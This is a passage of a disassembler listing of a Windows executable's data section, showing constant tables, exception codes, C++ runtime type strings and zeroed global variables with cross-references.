0Bh, 4247A4h dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h dd 23h, 424764h, 24h, 424760h dbl_43B8C0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r ; sub_41C2F3:loc_41C3DAr ... dd 0 dd 0FFF80000h dbl_43B8D0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r ; sub_41C2F3:loc_41C3B2r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43B8E8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr ; sub_41C7A0+1Fr align 4 tbyte_43B8F4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r align 10h off_43B900 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw ; sub_419E38+3AAr off_43B904 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w ; sub_419E38+3E2r off_43B908 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w ; sub_41D797+430r off_43B90C dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew ; sub_419E38+3CBr off_43B910 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w off_43B914 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w dd offset sub_42086E align 10h dd offset sub_41D4FC off_43B924 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r dword_43B928 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo dword_43B930 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo byte_43B938 db 1 ; DATA XREF: sub_41E92D+E1r db 2, 4, 8 align 10h dword_43B940 dd 3A4h ; DATA XREF: sub_41E92D+2Fo dword_43B944 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr dword_43B950 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43BA30 dd 1 ; DATA XREF: sub_41E92D+3Co ; sub_41EF44+Co dword_43BA34 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43BB98 dd 0C0000005h ; DATA XREF: sub_41EF44+19o ; sub_41F0EC+Ar ... dword_43BB9C dd 0Bh ; DATA XREF: sub_421D69+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dword_43BBE4 dd 8, 0 ; DATA XREF: Themida_:0050D958o dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43BC10 dd 3 ; DATA XREF: ___:0041F003r ; sub_421C3C+C8r dword_43BC14 dd 7 ; DATA XREF: ___:0041F009r ; sub_421C3C+CDr dword_43BC18 dd 0Ah ; DATA XREF: sub_41F0EC+4r ; sub_421D69+4r dword_43BC1C dd 8Ch ; DATA XREF: ___:0041F02Dr ; ___:0041F03Aw ... dword_43BC20 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o ; sub_41E248:loc_41E2C9o dword_43BC28 dd 2 ; DATA XREF: sub_41F885+Eo ; sub_41F885+28r off_43BC2C dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr ; sub_41F885+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h dd 0FFh, 4248F8h off_43BCB8 dd offset dword_48A320 ; DATA XREF: sub_41F885+1Bo ; sub_41FA42+55o align 10h dd offset dword_48A320 dd 101h dword_43BCC8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o dd 1000h, 0 dword_43BCD8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o ; sub_41A8A2+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43BCF8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o ; sub_41A8A2:loc_41A8C0o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43BD28 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo dword_43BF38 dd 2694h ; DATA XREF: sub_41BF55+3r ; sub_41BFA8+46r ... align 10h dword_43BF40 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo dword_43BF58 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o dword_43BF70 dd 7080h ; DATA XREF: sub_41D609+76r ; sub_42094E+5Ew ... dword_43BF74 dd 1 ; DATA XREF: sub_41D609+98r ; sub_42094E+8Bw ... dword_43BF78 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr ; sub_42094E+94w ... off_43BF7C dd offset dword_545350 ; DATA XREF: ___:off_43BFFCo dd 0Fh dup(0) off_43BFBC dd offset aX7eQs ; DATA XREF: ___:off_43C000o ; "-&7eq" dd 0Fh dup(0) off_43BFFC dd offset off_43BF7C ; DATA XREF: sub_42094E+BAr ; sub_42094E+D9r ... off_43C000 dd offset off_43BFBC ; DATA XREF: sub_42094E+F4r ; sub_42094E+11Br ... align 8 dword_43C008 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw ; sub_420BAC+1Er ... dword_43C00C dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r ; sub_420D58+BFw dword_43C010 dd 0 ; DATA XREF: sub_420BAC+192r ; sub_420D58+E0w align 8 dword_43C018 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+17w ; sub_420BAC+26r ... dword_43C01C dd 0 ; DATA XREF: sub_420BAC+13Ar ; sub_420D58+EAw ... dword_43C020 dd 0 ; DATA XREF: sub_420BAC+1A1r ; sub_420D58+23r ... dword_43C024 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43C054 dd 16Dh ; DATA XREF: sub_41D609+2Ar ; sub_420D58+2Er ... dword_43C058 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43C090 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43C1F0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4220C1+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43C34C dd offset off_424D00 ; DATA XREF: ___:00424EDCo ; ___:00424FC8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43C364 dd offset off_424D00 ; DATA XREF: ___:off_424D90o ; ___:00424DD0o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43C384 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o ; ___:00424E1Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 dd offset off_424D00 dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 8 off_43C3C8 dd offset off_424D00 ; DATA XREF: ___:00424EACo align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42086E align 8 byte_43C3E8 db 0 ; DATA XREF: sub_40144A+1D3w ; sub_40144A+2D2o align 2 word_43C3EA dw 0 ; DATA XREF: sub_40144A+1E3w word_43C3EC dw 0 ; DATA XREF: sub_40144A+1E9w word_43C3EE dw 0 ; DATA XREF: sub_40144A+1F0w byte_43C3F0 db 0 ; DATA XREF: sub_40144A+1F7w byte_43C3F1 db 0 ; DATA XREF: sub_40144A+1FEw word_43C3F2 dw 0 ; DATA XREF: sub_40144A+204w dword_43C3F4 dd 0 ; DATA XREF: sub_40144A+234w ; sub_40144A+250w dword_43C3F8 dd 0 ; DATA XREF: sub_40144A+258w byte_43C3FC db 0 ; DATA XREF: sub_40144A+26Aw byte_43C3FD db 0 ; DATA XREF: sub_40144A+27Dw word_43C3FE dw 0 ; DATA XREF: sub_40144A+295w word_43C400 dw 0 ; DATA XREF: sub_40144A+2A4w word_43C402 dw 0 ; DATA XREF: sub_40144A+29Cw dword_43C404 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o dword_43C808 dd 0 ; DATA XREF: sub_4029E9+9Eo byte_43C80C db 0 ; DATA XREF: sub_4029E9+36r ; sub_402ACC+37r ... align 10h dword_43C810 dd 0 ; DATA XREF: sub_4030D1+10w ; sub_4030E8+30r ... dd 2 dup(0) dword_43C81C dd 2 dup(0) ; DATA XREF: sub_403EBA+68o dword_43C824 dd 0 ; DATA XREF: sub_40395A+13o ; sub_40EE72+610Bo ... dword_43C828 dd 0 ; DATA XREF: sub_404853+8w ; ___:00404C22o align 10h dword_43C830 dd 2 dup(0) ; DATA XREF: ___:00404B58o dword_43C838 dd 0 ; DATA XREF: sub_4059DB+2Aw ; sub_4059DB+51r ... dword_43C83C dd 0 ; DATA XREF: sub_4030E8+AEr ; ___:004042D4r ... dd 2 dup(0) dword_43C848 dd 0 ; DATA XREF: sub_4071DB+18r ; sub_40762E+92w ... dword_43C84C dd 0 ; DATA XREF: sub_407767+4Dr ; sub_40797F+D9w ... dd 3E6h dup(0) dword_43D7E8 dd 6 dup(0) ; DATA XREF: sub_407767+D2o ; sub_407767+13Bo ... dword_43D800 dd 0 ; DATA XREF: sub_407252+82w ; sub_407252+102o dword_43D804 dd 41h dup(0) ; DATA XREF: sub_407252+41o dword_43D908 dd 41h dup(0) ; DATA XREF: sub_407252+63o dword_43DA0C dd 0 ; DATA XREF: sub_407252+F8w ; sub_407252+114r dword_43DA10 dd 0 ; DATA XREF: sub_407252+52w dword_43DA14 dd 0 ; DATA XREF: sub_407252+4Dw ; sub_407252+CFr dword_43DA18 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao ; sub_407252+BAo dword_43DA98 dd 0 ; DATA XREF: sub_407252+8Fw dword_43DA9C dd 0 ; DATA XREF: sub_407252+A7w ; sub_407252+C7w dword_43DAA0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr align 8 dword_43DAA8 dd 0 ; DATA XREF: sub_407252+2D5w ; sub_407252+32Eo dword_43DAAC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o dword_43DD34 dd 41h dup(0) ; DATA XREF: sub_407252+28Do dword_43DE38 dd 0 ; DATA XREF: sub_407252+2BAw ; sub_407252+2E1r align 10h dword_43DE40 dd 0 ; DATA XREF: sub_407252+324w ; sub_407252+340r dword_43DE44 dd 0 ; DATA XREF: sub_407252+2E7w dword_43DE48 dd 0 ; DATA XREF: sub_407252+2F4w dword_43DE4C dd 0 ; DATA XREF: sub_407252+2B4w dd 0 dword_43DE54 dd 0 ; DATA XREF: sub_407252:loc_4075A8r dword_43DE58 dd 0 ; DATA XREF: sub_407252+1A1w ; sub_407252+221o dword_43DE5C dd 41h dup(0) ; DATA XREF: sub_407252+163o dword_43DF60 dd 41h dup(0) ; DATA XREF: sub_407252+182o dword_43E064 dd 0 ; DATA XREF: sub_407252+217w ; sub_407252+233r dword_43E068 dd 0 ; DATA XREF: sub_407252+171w dword_43E06C dd 0 ; DATA XREF: sub_407252+1EEr dword_43E070 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o ; sub_407252+1D9o dword_43E0F0 dd 0 ; DATA XREF: sub_407252+1AEw dword_43E0F4 dd 0 ; DATA XREF: sub_407252+1C6w ; sub_407252+1E6w dword_43E0F8 dd 0 ; DATA XREF: sub_407252:loc_40749Cr align 10h dword_43E100 dd 0 ; DATA XREF: sub_4087EE+Fr ; sub_4089E7+12r align 8 dword_43E108 dd 80h dup(0) ; DATA XREF: sub_409706+41o dword_43E308 dd 200h dup(0) ; DATA XREF: sub_409037+C7o ; sub_409392+DDo ... dword_43EB08 dd 200h dup(0) ; DATA XREF: sub_409037+D6o ; sub_409392+F4o ... dword_43F308 dd 0 ; DATA XREF: sub_409037+86w ; sub_409209+94r dword_43F30C dd 0 ; DATA XREF: sub_409037+A7w ; sub_40966F+55r ... dword_43F310 dd 0 ; DATA XREF: sub_409037+A0w ; sub_409209+D6r ... dword_43F314 dd 0 ; DATA XREF: sub_409037+79w ; sub_409209+35r ... dword_43F318 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo dword_43F518 dd 0 ; DATA XREF: sub_409037+93w ; sub_409209+A2r align 10h dword_43F520 dd 0 ; DATA XREF: sub_409037+E7o ; sub_409037+103r ... dword_43F524 dd 0 ; DATA XREF: sub_409392+17Bw ; sub_409539+107w dword_43F528 dd 0 ; DATA XREF: sub_409392+180w ; sub_409539+10Dw ... dword_43F52C dd 0 ; DATA XREF: sub_409392+159w ; sub_40966F+4Fr dword_43F530 dd 0 ; DATA XREF: sub_4085B3+210r ; sub_4085B3+21Ar ... dword_43F534 dd 0 ; DATA XREF: sub_40981F+65w ; sub_415188+F5r dword_43F538 dd 0 ; DATA XREF: sub_40981F+7EDw ; sub_40981F+862r ... dword_43F53C dd 0 ; DATA XREF: sub_40981F+9BAw ; sub_40981F+A18r ... dword_43F540 dd 0 ; DATA XREF: sub_40981F+96Cw ; sub_40981F+9E8r ... dword_43F544 dd 0 ; DATA XREF: sub_4085B3+D1r ; sub_40981F+46Fw ... dword_43F548 dd 0 ; DATA XREF: sub_4023A7+ECr ; sub_4023A7+109r ... dword_43F54C dd 0 ; DATA XREF: sub_40981F+9ADw ; sub_40981F+A10r ... dword_43F550 dd 0 ; DATA XREF: sub_40981F+354w ; sub_40981F+3A9r ... dword_43F554 dd 0 ; DATA XREF: sub_40981F+3F1w ; sub_40B8D8+11Er dword_43F558 dd 0 ; DATA XREF: sub_40981F+361w ; sub_40981F+3B1r ... dword_43F55C dd 0 ; DATA XREF: sub_40981F+3A2w ; sub_40DCE6+ADr dword_43F560 dd 0 ; DATA XREF: sub_405AF2+115r ; sub_4084B3+7Dr ... dword_43F564 dd 0 ; DATA XREF: sub_40981F+72w ; sub_40981F+D2r ... dword_43F568 dd 0 ; DATA XREF: sub_40981F+95Fw ; sub_40981F+9DBr ... dword_43F56C dd 0 ; DATA XREF: sub_40981F+388w ; sub_40981F+3C9r ... dword_43F570 dd 0 ; DATA XREF: sub_40981F+83Bw ; sub_40981F+88Er ... dword_43F574 dd 0 ; DATA XREF: sub_408C26+58r ; sub_40981F+2A5w ... dword_43F578 dd 0 ; DATA XREF: sub_40981F+82Ew ; sub_40981F+886r ... dword_43F57C dd 0 ; DATA XREF: sub_40981F+B3w dword_43F580 dd 0 ; DATA XREF: sub_40981F+848w ; sub_40981F+896r ... dword_43F584 dd 0 ; DATA XREF: sub_407BDE+7Er ; sub_40981F+52Fw ... dword_43F588 dd 0 ; DATA XREF: sub_40981F+58w ; sub_40981F+CAr ... dword_43F58C dd 0 ; DATA XREF: sub_40981F+916w ; sub_40AF86+11Ar dword_43F590 dd 0 ; DATA XREF: sub_40981F+A66w ; sub_40981F+A6Dr ... dword_43F594 dd 0 ; DATA XREF: sub_40981F+A6w ; sub_40981F+F2r dword_43F598 dd 0 ; DATA XREF: sub_4085B3+119r ; sub_40981F+462w ... dword_43F59C dd 0 ; DATA XREF: sub_4075E6+20r ; sub_40981F+5D8w dword_43F5A0 dd 0 ; DATA XREF: sub_40981F+9A0w ; sub_40981F+A08r dword_43F5A4 dd 0 ; DATA XREF: sub_402688+280r ; sub_40981F+5CBw ... dword_43F5A8 dd 0 ; DATA XREF: sub_402ACC+9Ar ; sub_40981F+B21w dword_43F5AC dd 0 ; DATA XREF: sub_40981F+7E0w ; sub_40981F+84Fr ... dword_43F5B0 dd 0 ; DATA XREF: sub_40981F+1B3w ; sub_40AC20+15r dword_43F5B4 dd 0 ; DATA XREF: sub_40981F+979w ; sub_40981F+9F0r ... dword_43F5B8 dd 0 ; DATA XREF: sub_40981F+36Ew ; sub_40981F+3B9r ... dword_43F5BC dd 0 ; DATA XREF: sub_40981F+37Bw ; sub_40981F+3C1r ... dword_43F5C0 dd 0 ; DATA XREF: sub_4087EE+28r ; sub_4089E7+2Br ... dword_43F5C4 dd 0 ; DATA XREF: sub_40981F+68Ew ; ___:0041554Er dword_43F5C8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_43F5CC dd 0 ; DATA XREF: sub_4085B3+207r ; sub_40981F+496w dword_43F5D0 dd 0 ; DATA XREF: sub_40981F+9C7w ; sub_40981F+A20r ... dword_43F5D4 dd 0 ; DATA XREF: sub_40981F+2B2w ; sub_40981F+2DEr ... dword_43F5D8 dd 0 ; DATA XREF: sub_40981F+7Fw ; sub_40981F+DAr ... dword_43F5DC dd 0 ; DATA XREF: sub_40981F+B6Ew ; sub_40981F+B75r ... dword_43F5E0 dd 0 ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_43F5E4 dd 0 ; DATA XREF: sub_40981F+807w ; sub_40981F+872r ... dword_43F5E8 dd 0 ; DATA XREF: sub_40981F+986w ; sub_40981F+9F8r dword_43F5EC dd 0 ; DATA XREF: sub_40981F+BDFw ; sub_40981F+C10r dword_43F5F0 dd 0 ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_43F5F4 dd 0 ; DATA XREF: sub_40981F+8FCw ; sub_40981F+910r ... dword_43F5F8 dd 0 ; DATA XREF: sub_40981F+BF9w dword_43F5FC dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_43F600 dd 0 ; DATA XREF: sub_40981F+821w ; sub_40981F+855r dword_43F604 dd 0 ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_43F608 dd 0 ; DATA XREF: sub_4087EE+3Fr ; sub_4087EE+69r ... dword_43F60C dd 0 ; DATA XREF: sub_40981F+65Aw ; sub_40981F+786r ... dword_43F610 dd 0 ; DATA XREF: sub_402DD7+20Ar ; sub_4030E8+5Er ... dword_43F614 dd 0 ; DATA XREF: sub_402688+16Er ; sub_40981F+549w ... dword_43F618 dd 0 ; DATA XREF: sub_40981F+8BDw ; sub_40981F:loc_40A0FAw ... dword_43F61C dd 0 ; DATA XREF: sub_40981F+28Bw ; sub_40981F+2C6r ... dword_43F620 dd 0 ; DATA XREF: ___:00407DFEr ; sub_40981F+681w ... dword_43F624 dd 0 ; DATA XREF: sub_40981F+30Fw ; sub_40981F+323r ... dword_43F628 dd 0 ; DATA XREF: sub_40981F+395w ; sub_40981F+3D1r ... dword_43F62C dd 0 ; DATA XREF: sub_40981F+BD2w ; sub_40981F+C08r dword_43F630 dd 0 ; DATA XREF: sub_40981F+7FAw ; sub_40981F+86Ar ... dword_43F634 dd 0 ; DATA XREF: sub_4023A7+FCr ; sub_40981F+206w ... dword_43F638 dd 0 ; DATA XREF: sub_40981F+18Cw ; sub_40981F+1D2r ... dword_43F63C dd 0 ; DATA XREF: sub_40981F+814w ; sub_40981F+87Ar ... dword_43F640 dd 0 ; DATA XREF: sub_406C19+244r ; sub_40981F+606w ... dword_43F644 dd 0 ; DATA XREF: sub_408C26+18Ar ; sub_40981F+2BFw ... dword_43F648 dd 0 ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43F64C dd 0 ; DATA XREF: sub_40981F+302w ; sub_40981F+316r ... dword_43F650 dd 0 ; DATA XREF: sub_405AF2+F9r ; sub_406C19+1FCr ... dword_43F654 dd 0 ; DATA XREF: sub_4085B3+16r ; sub_40981F+42Ew ... dword_43F658 dd 0 ; DATA XREF: sub_40981F+199w ; sub_40981F+1DAr ... dword_43F65C dd 0 ; DATA XREF: sub_40981F+347w ; sub_40981F+39Cr ... dword_43F660 dd 0 ; DATA XREF: sub_40981F+A73w dword_43F664 dd 0 ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_43F668 dd 0 ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43F66C dd 0 ; DATA XREF: sub_40981F+4Bw ; sub_40981F+C2r ... dword_43F670 dd 0 ; DATA XREF: sub_4085B3+2Cr ; sub_4085B3+38r ... dword_43F674 dd 0 ; DATA XREF: sub_40981F+165w ; sub_40981F+1BAr ... dword_43F678 dd 0 ; DATA XREF: sub_40981F+9E1w ; sub_40E5EB+72r dword_43F67C dd 0 ; DATA XREF: sub_40981F+667w ; sub_40981F+78Er dword_43F680 dd 0 ; DATA XREF: sub_402688+205r ; sub_402DD7+23Br ... dword_43F684 dd 0 ; DATA XREF: sub_40981F+BECw ; sub_40981F+C18r dword_43F688 dd 0 ; DATA XREF: sub_40981F+3Ew ; sub_40981F+BAr ... dword_43F68C dd 0 ; DATA XREF: sub_40981F+298w ; sub_40981F+2CEr ... dword_43F690 dd 0 ; DATA XREF: sub_405AF2+9Er ; sub_407BDE+9Cr ... dword_43F694 dd 0 ; DATA XREF: sub_402688+EBr ; sub_405AF2+89r ... dword_43F698 dd 0 ; DATA XREF: sub_40981F+C63w ; sub_40EE72+4624r dword_43F69C dd 0 ; DATA XREF: sub_40981F+85Bw ; sub_40BC4B+205r ... dword_43F6A0 dd 0 ; DATA XREF: sub_40981F+112w dword_43F6A4 dd 0 ; DATA XREF: sub_40981F+BB8w ; sub_40981F+BF3r dword_43F6A8 dd 0 ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_43F6AC dd 0 ; DATA XREF: sub_4085B3+BCr ; sub_40981F+43Bw ... dword_43F6B0 dd 0 ; DATA XREF: sub_4085B3+FBr ; sub_40981F+47Cw ... dword_43F6B4 dd 0 ; DATA XREF: sub_4085B3+65r ; sub_40981F+448w ... dword_43F6B8 dd 0 ; DATA XREF: sub_402DD7+221r ; sub_402DD7+249r ... dword_43F6BC dd 0 ; DATA XREF: sub_40981F+1A6w ; sub_40981F+1E2r ... dword_43F6C0 dd 0 ; DATA XREF: sub_40981F+9D4w ; sub_40981F+A28r ... dword_43F6C4 dd 0 ; DATA XREF: sub_4087EE+53r ; sub_4087EE+7Fr ... dword_43F6C8 dd 0 ; DATA XREF: sub_40981F+8Cw ; sub_40981F+E2r ... dword_43F6CC dd 0 ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_43F6D0 dd 0 ; DATA XREF: sub_40981F+B14w ; sub_40981F+B30r dword_43F6D4 dd 0 ; DATA XREF: sub_40981F+31Cw ; sub_41511D+55r dword_43F6D8 dd 0 ; DATA XREF: sub_408C26+3Fr ; sub_40981F+27Ew ... dword_43F6DC dd 0 ; DATA XREF: sub_40981F+B7Bw dword_43F6E0 dd 0 ; DATA XREF: sub_40981F+ABDw ; sub_40AE02+CEr dword_43F6E4 dd 0 ; DATA XREF: sub_40981F+AB0w ; sub_40981F+AB7r ... dword_43F6E8 dd 0 ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_43F6EC dd 0 ; DATA XREF: ___:00407DEEr ; sub_40981F+674w ... dword_43F6F0 dd 0 ; DATA XREF: sub_40981F+BC5w ; sub_40981F+C00r dword_43F6F4 dd 0 ; DATA XREF: sub_402688+28Dr ; sub_406C19+250r ... dword_43F6F8 dd 0 ; DATA XREF: sub_40981F+993w ; sub_40981F+A00r ... dword_43F6FC dd 0 ; DATA XREF: sub_405AF2+13Ar ; sub_407BDE+B3r ... dword_43F700 dd 0 ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_43F704 dd 0 ; DATA XREF: sub_405AF2+B7r ; sub_405AF2+39Fr ... dword_43F708 dd 0 ; DATA XREF: sub_4029E9+B0r ; sub_4029E9+C8r ... dword_43F70C dd 0 ; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_43F710 dd 0 ; DATA XREF: sub_40981F+AFAw ; sub_40981F+B1Br dword_43F714 dd 0 ; DATA XREF: sub_40981F+31w ; sub_40981F+ADr ... dword_43F718 dd 0 ; DATA XREF: sub_4087EE+1ECr ; sub_4089E7+232r ... align 10h dword_43F720 dd 0 ; DATA XREF: sub_40981F+909w ; sub_40981F+91Dr ... dword_43F724 dd 0 ; DATA XREF: sub_40981F+99w ; sub_40981F+EAr ... dword_43F728 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw ; sub_40981F+12Bw ... dword_43F72C dd 0 ; DATA XREF: sub_40981F+126w ; sub_40A4AC+1Cr dword_43F730 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw ; sub_40981F:loc_409A74w ... dword_43F734 dd 0 ; DATA XREF: sub_40981F+250w ; sub_40A4AC+50r dword_43F738 dd 0 ; DATA XREF: sub_40981F:loc_409B09w ; sub_40981F:loc_409B4Ew ... dword_43F73C dd 0 ; DATA XREF: sub_40981F+400w ; sub_40A4AC+84r dword_43F740 dd 0 ; DATA XREF: sub_40981F:loc_409D05w ; sub_40A4AC:loc_40A55Cr dword_43F744 dd 0 ; DATA XREF: sub_40981F+4E1w ; sub_40A4AC+B8r dword_43F748 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w ; sub_40A4AC:loc_40A590r dword_43F74C dd 0 ; DATA XREF: 